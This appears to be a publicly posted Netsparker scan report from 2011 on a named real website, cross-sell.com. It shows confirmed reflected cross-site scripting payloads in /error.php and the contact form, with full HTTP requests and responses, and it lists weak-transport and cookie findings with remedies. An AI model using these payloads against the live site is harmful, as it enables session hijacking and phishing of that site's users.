XSS, cross-sell.com, GHDB DORK REPORT SUMMARY
Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading
Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Private Reporting of Security Research is preferred for Online Service Providers
Loading
Netsparker - Scan Report Summary
TARGET URL
http://www.cross-sell.com/login.php
SCAN DATE
6/20/2011 8:37:59 PM
REPORT DATE
6/21/2011 5:44:10 AM
SCAN DURATION
00:01:54
Total Requests
Average Speed
req/sec.
10
identified
6
confirmed
0
critical
2
informational
SCAN SETTINGS
Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
VULNERABILITY SUMMARY
Vulnerability Summary
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
Parameters
Parameter
Type
Value
message
GET
'"--></style></script><script>alert(0x00032A)</script>
Request
GET /error.php?message='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00032A)%3C/script%3E HTTP/1.1 Referer: http://www.cross-sell.com/LoginProc.php User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.cross-sell.com Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 21 Jun 2011 06:03:55 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Encoding: Vary: Accept-Encoding Content-Length: 1908 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <!-- xx --> <title>Error</title> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" /> <meta name="keywords" content="auto sales market share, car manufacturer market share, car manufacturers market share, car sales market share, used car market report, car companies market share, car company market share, car industry market share, ford sales report, gm sales report, nissan sales report, bmw car sales report, audi sales report" /> <meta name="description" content="The Cross-Sell Report is a comprehensive monthly vehicle sales/registration report that is custom-made for each client's exact market. Information is available on paper and/or diskette or email." /> <meta name="ROBOTS" content="index,follow" /> <link rel="shortcut icon" href="images/cs_favicon.ico" type="image/x-icon" /> <script type="text/javascript" src="javascript/main.js"></script> <link rel="stylesheet" href="css/main.css" type="text/css" /> <link rel="stylesheet" href="css/menu.css" type="text/css" /> </head> <body> <div id ="container"> <div id="header"> <a href="index.php"><img src="./images/cs_logo_hdr.gif" id="logo" alt="Cross-sell Logo" /></a> </div> <div id="menu_container"> <ul id="pmenu"> <li><a href="index.php">Home</a></li> <li><a href="about.php">About us</a></li> <li><a href="#" style="width:126px;cursor:crosshair">Products & Services<!--[if IE 7]><!--></a><!--<![endif]--> <!--[if lte IE 6]><table><tr><td><![endif]--> <ul> <li><a href="csreport.php" style="width:150px;">Cross-Sell Report</a></li> <li><a href="snapshot.php" style="width:150px;">Snap-Shots</a></li> <li><a href="marketintel.php" style="width:150px;">MarketIntel</a></li> <li><a href="marketcontrol.php" style="width:150px;">MarketControl Analytics</a></li> </ul> <!--[if lte IE 6]></td></tr></table></a><![endif]--> </li> <li><a href="available.php" style="width:116px;">Availability</a></li> <li><a href="testimonial.php">Testimonials</a></li> <li><a href="faq.php">FAQ</a></li> <li><a href="contact.php">Contact Us</a></li> <li><a href="links.php">Links</a></li> <li><a href="/login.php">Log In</a></li> </ul> </div> <div id="page"> <div class="error_box"> <h1>Processing Error</h1> <p>\'\"--></style></script><script>netsparker(0x00032A)</script> <p><a href="javascript:history.back()" target="_self" style="color:#5c1003;font-size:12px"><strong>Return To Previous Page</strong></a> </div> </div> <div id="footer"> <p>Cross-Sell Report � 190 W. Lowry Lane � Lexington, KY 40503 Call: (800)369-5870 � Fax: 1-888-587-0102 � Email: <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="http://www.dominionenterprises.com/main/do/Copyright">Copyright© 2011 Dominion Enterprises, Inc.</a> All Rights Reserved</p> </div> </div> <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="javascript/s_code.js"></script> <script language="JavaScript" type="text/javascript"><!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="error" s.server="" s.channel="" s.pageType="" s.prop1="" s.prop2="" s.prop3="" s.prop4="" s.prop5="" /* Conversion Variables */ s.campaign="" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.eVar1="" s.eVar2="" s.eVar3="" s.eVar4="" s.eVar5="" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--></script> <script language="JavaScript" type="text/javascript"><!-- if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-') //--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://decross-sell.112.2O7.net/b/ss/decross-sell/1/H.15.1--NS/0" height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--> <!-- End SiteCatalyst code version: H.15.1. --> </body></html>
Parameters
Parameter
Type
Value
companyname
POST
Smith
email
POST
netsparker@example.com
fax
POST
3
fullname
POST
'"--></style></script><script>alert(0x000354)</script>
message
POST
3
phone
POST
3
Request
POST /contact.php HTTP/1.1 Referer: http://www.cross-sell.com/contact.php User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: www.cross-sell.com Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000 Content-Length: 167 Accept-Encoding: gzip, deflate companyname=Smith&email=netsparker%40example.com&fax=3&fullname='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000354)%3c%2fscript%3e&message=3&phone=3
Response
HTTP/1.1 200 OK Date: Tue, 21 Jun 2011 06:04:17 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 X-Powered-By: PHP/5.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Encoding: Vary: Accept-Encoding Content-Length: 1890 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <!-- xx --> <title>Contact the Team at Cross-Sell Report</title> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" /> <meta name="keywords" content="auto sales market share, car manufacturer market share, car manufacturers market share, car sales market share, used car market report, car companies market share, car company market share, car industry market share, ford sales report, gm sales report, nissan sales report, bmw car sales report, audi sales report" /> <meta name="description" content="We are pleased to answer questions and receive your feedback. Contact us to find out more about the Cross-Sell Reports we offer." /> <meta name="ROBOTS" content="index,follow" /> <link rel="shortcut icon" href="images/cs_favicon.ico" type="image/x-icon" /> <script type="text/javascript" src="javascript/main.js"></script> <link rel="stylesheet" href="css/main.css" type="text/css" /> <link rel="stylesheet" href="css/menu.css" type="text/css" /> <link rel="stylesheet" href="css/contact.css" type="text/css"/> </head> <body> <div id ="container"> <div id="header"> <a href="index.php"><img src="./images/cs_logo_hdr.gif" id="logo" alt="Cross-sell Logo" /></a> </div> <div id="menu_container"> <ul id="pmenu"> <li><a href="index.php">Home</a></li> <li><a href="about.php">About us</a></li> <li><a href="#" style="width:126px;cursor:crosshair">Products & Services<!--[if IE 7]><!--></a><!--<![endif]--> <!--[if lte IE 6]><table><tr><td><![endif]--> <ul> <li><a href="csreport.php" style="width:150px;">Cross-Sell Report</a></li> <li><a href="snapshot.php" style="width:150px;">Snap-Shots</a></li> <li><a href="marketintel.php" style="width:150px;">MarketIntel</a></li> <li><a href="marketcontrol.php" style="width:150px;">MarketControl Analytics</a></li> </ul> <!--[if lte IE 6]></td></tr></table></a><![endif]--> </li> <li><a href="available.php" style="width:116px;">Availability</a></li> <li><a href="testimonial.php">Testimonials</a></li> <li><a href="faq.php">FAQ</a></li> <li><a href="contact.php">Contact Us</a></li> <li><a href="links.php">Links</a></li> <li><a href="/login.php">Log In</a></li> </ul> </div> <div id="page"> <div class="contact"> <h1>Questions? Comments? Suggestions? Need more info?</h1> <p><strong>Message Sent! Dear \'\"--></style></script><script>netsparker(0x000354)</script>, We will get back to you as soon as possible using: netsparker@example.com.</strong></p> </div> </div> <div id="footer"> <p>Cross-Sell Report � 190 W. Lowry Lane � Lexington, KY 40503 Call: (800)369-5870 � Fax: 1-888-587-0102 � Email: <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="http://www.dominionenterprises.com/main/do/Copyright">Copyright© 2011 Dominion Enterprises, Inc.</a> All Rights Reserved</p> </div> </div> <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="javascript/s_code.js"></script> <script language="JavaScript" type="text/javascript"><!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="contact" s.server="" s.channel="" s.pageType="" s.prop1="" s.prop2="" s.prop3="" s.prop4="" s.prop5="" /* Conversion Variables */ s.campaign="" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.eVar1="" s.eVar2="" s.eVar3="" s.eVar4="" s.eVar5="" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--></script> <script language="JavaScript" type="text/javascript"><!-- if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-') //--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://decross-sell.112.2O7.net/b/ss/decross-sell/1/H.15.1--NS/0" height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--> <!-- End SiteCatalyst code version: H.15.1. --> </body></html>
Password Transmitted Over HTTP
Password Transmitted Over HTTP
Netsparker identified that password data is sent over HTTP.
Impact
If an attacker can intercept network traffic he/she can steal users credentials.
Actions to Take
See the remedy for solution.
Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
/LoginProc.php
Request
GET /login.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.cross-sell.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=a16493f2748a0f633151c0044a395c84; path=/,BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Encoding: Vary: Accept-Encoding Content-Length: 2209 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <!-- xx --> <title>Login to access your online reports - Cross-Sell Report</title> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" /> <meta name="keywords" content="auto sales market share, car manufacturer market share, car manufacturers market share, car sales market share, used car market report, car companies market share, car company market share, car industry market share, ford sales report, gm sales report, nissan sales report, bmw car sales report, audi sales report" /> <meta name="description" content="The Cross-Sell Report is a comprehensive monthly vehicle sales/registration report that is custom-made for each client's exact market. Information is available on paper and/or diskette or email." /> <meta name="ROBOTS" content="index,follow" /> <link rel="shortcut icon" href="images/cs_favicon.ico" type="image/x-icon" /> <script type="text/javascript" src="javascript/main.js"></script> <link rel="stylesheet" href="css/main.css" type="text/css" /> <link rel="stylesheet" href="css/menu.css" type="text/css" /> <link rel="stylesheet" href="css/login.css" type="text/css"/> </head> <body> <div id ="container"> <div id="header"> <a href="index.php"><img src="./images/cs_logo_hdr.gif" id="logo" alt="Cross-sell Logo" /></a> </div> <div id="menu_container"> <ul id="pmenu"> <li><a href="index.php">Home</a></li> <li><a href="about.php">About us</a></li> <li><a href="#" style="width:126px;cursor:crosshair">Products & Services<!--[if IE 7]><!--></a><!--<![endif]--> <!--[if lte IE 6]><table><tr><td><![endif]--> <ul> <li><a href="csreport.php" style="width:150px;">Cross-Sell Report</a></li> <li><a href="snapshot.php" style="width:150px;">Snap-Shots</a></li> <li><a href="marketintel.php" style="width:150px;">MarketIntel</a></li> <li><a href="marketcontrol.php" style="width:150px;">MarketControl Analytics</a></li> </ul> <!--[if lte IE 6]></td></tr></table></a><![endif]--> </li> <li><a href="available.php" style="width:116px;">Availability</a></li> <li><a href="testimonial.php">Testimonials</a></li> <li><a href="faq.php">FAQ</a></li> <li><a href="contact.php">Contact Us</a></li> <li><a href="links.php">Links</a></li> <li><a href="/login.php">Log In</a></li> </ul> </div> <div id="page"> <script src="/Javascript/FormCheck.js"></script> <script language="Javascript"> //Validate info function Validate(FORM) { if (isWhitespace(FORM.username.value)) { alert("Please enter a value for the Username."); FORM.username.focus(); return false; } if (isWhitespace(FORM.password.value)) { alert("Please enter a value for the Password."); FORM.password.focus(); return false; } return true; } </script> <div class="login_box"> <h1>Login</h1> <p>Please login to access your online reports</p> <form action="/LoginProc.php" name="loginfrm" id="loginfrm" method="post" onSubmit="return Validate(this)"> <table class="logintbl"> <tr> <td align="right"> <label for="username">Username</label>: </td> <td> <input type="text" name="username" id="username" maxlength="20"> </td> </tr> <tr> <td align="right"> <label for="password">Password</label>: </td> <td> <input type="password" name="password" id="password" maxlength="12"> </td> </tr> <tr> <td colspan="2" align="center"> <input type="submit" value="Login"> </td> </tr> </table> </form> </div> </div> <div id="footer"> <p>Cross-Sell Report � 190 W. Lowry Lane � Lexington, KY 40503 Call: (800)369-5870 � Fax: 1-888-587-0102 � Email: <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="http://www.dominionenterprises.com/main/do/Copyright">Copyright© 2011 Dominion Enterprises, Inc.</a> All Rights Reserved</p> </div> </div> <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="javascript/s_code.js"></script> <script language="JavaScript" type="text/javascript"><!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="login" s.server="" s.channel="" s.pageType="" s.prop1="" s.prop2="" s.prop3="" s.prop4="" s.prop5="" /* Conversion Variables */ s.campaign="" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.eVar1="" s.eVar2="" s.eVar3="" s.eVar4="" s.eVar5="" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--></script> <script language="JavaScript" type="text/javascript"><!-- if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-') //--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://decross-sell.112.2O7.net/b/ss/decross-sell/1/H.15.1--NS/0" height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--> <!-- End SiteCatalyst code version: H.15.1. --> </body></html>
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
password
Request
GET /login.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.cross-sell.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=a16493f2748a0f633151c0044a395c84; path=/,BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Encoding: Vary: Accept-Encoding Content-Length: 2209 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <!-- xx --> <title>Login to access your online reports - Cross-Sell Report</title> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" /> <meta name="keywords" content="auto sales market share, car manufacturer market share, car manufacturers market share, car sales market share, used car market report, car companies market share, car company market share, car industry market share, ford sales report, gm sales report, nissan sales report, bmw car sales report, audi sales report" /> <meta name="description" content="The Cross-Sell Report is a comprehensive monthly vehicle sales/registration report that is custom-made for each client's exact market. Information is available on paper and/or diskette or email." /> <meta name="ROBOTS" content="index,follow" /> <link rel="shortcut icon" href="images/cs_favicon.ico" type="image/x-icon" /> <script type="text/javascript" src="javascript/main.js"></script> <link rel="stylesheet" href="css/main.css" type="text/css" /> <link rel="stylesheet" href="css/menu.css" type="text/css" /> <link rel="stylesheet" href="css/login.css" type="text/css"/> </head> <body> <div id ="container"> <div id="header"> <a href="index.php"><img src="./images/cs_logo_hdr.gif" id="logo" alt="Cross-sell Logo" /></a> </div> <div id="menu_container"> <ul id="pmenu"> <li><a href="index.php">Home</a></li> <li><a href="about.php">About us</a></li> <li><a href="#" style="width:126px;cursor:crosshair">Products & Services<!--[if IE 7]><!--></a><!--<![endif]--> <!--[if lte IE 6]><table><tr><td><![endif]--> <ul> <li><a href="csreport.php" style="width:150px;">Cross-Sell Report</a></li> <li><a href="snapshot.php" style="width:150px;">Snap-Shots</a></li> <li><a href="marketintel.php" style="width:150px;">MarketIntel</a></li> <li><a href="marketcontrol.php" style="width:150px;">MarketControl Analytics</a></li> </ul> <!--[if lte IE 6]></td></tr></table></a><![endif]--> </li> <li><a href="available.php" style="width:116px;">Availability</a></li> <li><a href="testimonial.php">Testimonials</a></li> <li><a href="faq.php">FAQ</a></li> <li><a href="contact.php">Contact Us</a></li> <li><a href="links.php">Links</a></li> <li><a href="/login.php">Log In</a></li> </ul> </div> <div id="page"> <script src="/Javascript/FormCheck.js"></script> <script language="Javascript"> //Validate info function Validate(FORM) { if (isWhitespace(FORM.username.value)) { alert("Please enter a value for the Username."); FORM.username.focus(); return false; } if (isWhitespace(FORM.password.value)) { alert("Please enter a value for the Password."); FORM.password.focus(); return false; } return true; } </script> <div class="login_box"> <h1>Login</h1> <p>Please login to access your online reports</p> <form action="/LoginProc.php" name="loginfrm" id="loginfrm" method="post" onSubmit="return Validate(this)"> <table class="logintbl"> <tr> <td align="right"> <label for="username">Username</label>: </td> <td> <input type="text" name="username" id="username" maxlength="20"> </td> </tr> <tr> <td align="right"> <label for="password">Password</label>: </td> <td> <input type="password" name="password" id="password" maxlength="12"> </td> </tr> <tr> <td colspan="2" align="center"> <input type="submit" value="Login"> </td> </tr> </table> </form> </div> </div> <div id="footer"> <p>Cross-Sell Report � 190 W. Lowry Lane � Lexington, KY 40503 Call: (800)369-5870 � Fax: 1-888-587-0102 � Email: <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="http://www.dominionenterprises.com/main/do/Copyright">Copyright© 2011 Dominion Enterprises, Inc.</a> All Rights Reserved</p> </div> </div> <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="javascript/s_code.js"></script> <script language="JavaScript" type="text/javascript"><!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="login" s.server="" s.channel="" s.pageType="" s.prop1="" s.prop2="" s.prop3="" s.prop4="" s.prop5="" /* Conversion Variables */ s.campaign="" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.eVar1="" s.eVar2="" s.eVar3="" s.eVar4="" s.eVar5="" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--></script> <script language="JavaScript" type="text/javascript"><!-- if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-') //--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://decross-sell.112.2O7.net/b/ss/decross-sell/1/H.15.1--NS/0" height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--> <!-- End SiteCatalyst code version: H.15.1. --> </body></html>
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
PHPSESSID
Request
GET / HTTP/1.1 Referer: http://www.cross-sell.com/login.php User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.cross-sell.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; path=/,BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Encoding: Vary: Accept-Encoding Content-Length: 2599 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <!-- xx --> <title>Used Car Sales Reports & New Car Sales Reports - Cross-Sell Report</title> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" /> <meta name="keywords" content="car sales statistics, used cars reports, car sales statistics, used car reports, used car report, auto sales report, car sales total, car sales volume, used cars report, vehicle car report, vehicle sales statistics, vin car report, used car registration, car sales data, car sales figures, used car vin" /> <meta name="description" content="The Cross-Sell Report is an excellent monthly report card. It gauges market size and strength by measuring sales, trends and patterns." /> <meta name="ROBOTS" content="index,follow" /> <link rel="shortcut icon" href="images/cs_favicon.ico" type="image/x-icon" /> <script type="text/javascript" src="javascript/main.js"></script> <link rel="stylesheet" href="css/main.css" type="text/css" /> <link rel="stylesheet" href="css/menu.css" type="text/css" /> <link rel="stylesheet" href="css/home.css" type="text/css"/> </head> <body> <div id ="container"> <div id="header"> <a href="index.php"><img src="./images/cs_logo_hdr.gif" id="logo" alt="Cross-sell Logo" /></a> </div> <div id="menu_container"> <ul id="pmenu"> <li><a href="index.php">Home</a></li> <li><a href="about.php">About us</a></li> <li><a href="#" style="width:126px;cursor:crosshair">Products & Services<!--[if IE 7]><!--></a><!--<![endif]--> <!--[if lte IE 6]><table><tr><td><![endif]--> <ul> <li><a href="csreport.php" style="width:150px;">Cross-Sell Report</a></li> <li><a href="snapshot.php" style="width:150px;">Snap-Shots</a></li> <li><a href="marketintel.php" style="width:150px;">MarketIntel</a></li> <li><a href="marketcontrol.php" style="width:150px;">MarketControl Analytics</a></li> </ul> <!--[if lte IE 6]></td></tr></table></a><![endif]--> </li> <li><a href="available.php" style="width:116px;">Availability</a></li> <li><a href="testimonial.php">Testimonials</a></li> <li><a href="faq.php">FAQ</a></li> <li><a href="contact.php">Contact Us</a></li> <li><a href="links.php">Links</a></li> <li><a href="/login.php">Log In</a></li> </ul> </div> <div id="page"> <div class="left"> <h1>Cross-Sell Report</h1> <ul> <li>The Cross-Sell Report is a comprehensive monthly vehicle sales/registration report that is custom-made for each client's exact market.</li> <li>The Cross-Sell Report is available in 27 states - representing approximately 70% of the country's vehicle volume. It is available in both New and Used vehicle reports in most states.</li> <li>The Cross-Sell Report details sales by Vin, Make, Model, Owner City, Owner Zip, Seller Name, Seller Code, and Lienholder where allowed by state law.</li> <li>Information is available on paper and/or diskette or email.</li> </ul> <div onclick="location.href='testimonial.php'"> <div class="testimonial_image"></div> <div class="testimonial" > <p class="statement">"To be successful in the highly competitive car business we must know our market and our competitors. The monthly Cross-Sell report and the new quarterly MarketINTEL report are critical tools for evaluating our performance. I highly recommend both of these products."</p> <p class="author">Bill Billings, General Sales Manager, Autohaus BMW and MINI of St. Louis</p> </div> </div> </div> <div class="right"> <div class="box"> <h2>Customer Support & Sales:</h2> <div class="leftcol"> <table> <tr> <td align="right"> <p><strong>Phone:</strong></p> </td> <td> <p>(800)369-5870</p> </td> </tr> <tr> <td align="right"> <p><strong>Fax:</strong></p> </td> <td> <p>1-888-587-0102</p> </td> </tr> <tr> <td align="right" valign="top"> <p><strong>Mail:</strong></p> </td> <td valign="top"> <p>190 W. Lowry Lane<br/> Lexington, KY 40503</p> </td> </tr> </table> </div> <div class="rightcol"> <table> <tr> <td align="right" valign="top"> <p><strong>Email:</strong></p> </td> <td valign="top"> <p> <a href="mailto:info@cross-sell.com">info@cross-sell.com</a><br/> <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="mailto:webmaster@cross-sell.com">webmaster@cross-sell.com</a> </p> </td> </tr> </table> </div> <br class="reset"/> </div> <br/> <div class="box"> <h2>Billing:</h2> <div class="leftcol"> <table> <tr> <td align="right"> <p><strong>Phone:</strong></p> </td> <td> <p>(859)276-4621</p> </td> </tr> <tr> <td align="right"> <p><strong>Fax:</strong></p> </td> <td> <p>(859)277-1017</p> </td> </tr> <tr> <td align="right" valign="top"> <p><strong>Mail:</strong></p> </td> <td valign="top"> <p>P.O. Box 24948<br/> Lexington, KY 40524-4948</p> </td> </tr> </table> </div> <div class="rightcol"> <table> <tr> <td align="right" valign="top"> <p><strong>Email:</strong></p> </td> <td valign="top"> <p> <a href="mailto:billing@cross-sell-inc.com">billing@cross-sell.com</a> </p> </td> </tr> </table> </div> <br class="reset"/> </div> </div> <br class="reset"/> </div> <div id="footer"> <p>Cross-Sell Report � 190 W. Lowry Lane � Lexington, KY 40503 Call: (800)369-5870 � Fax: 1-888-587-0102 � Email: <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="http://www.dominionenterprises.com/main/do/Copyright">Copyright© 2011 Dominion Enterprises, Inc.</a> All Rights Reserved</p> </div> </div> <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at 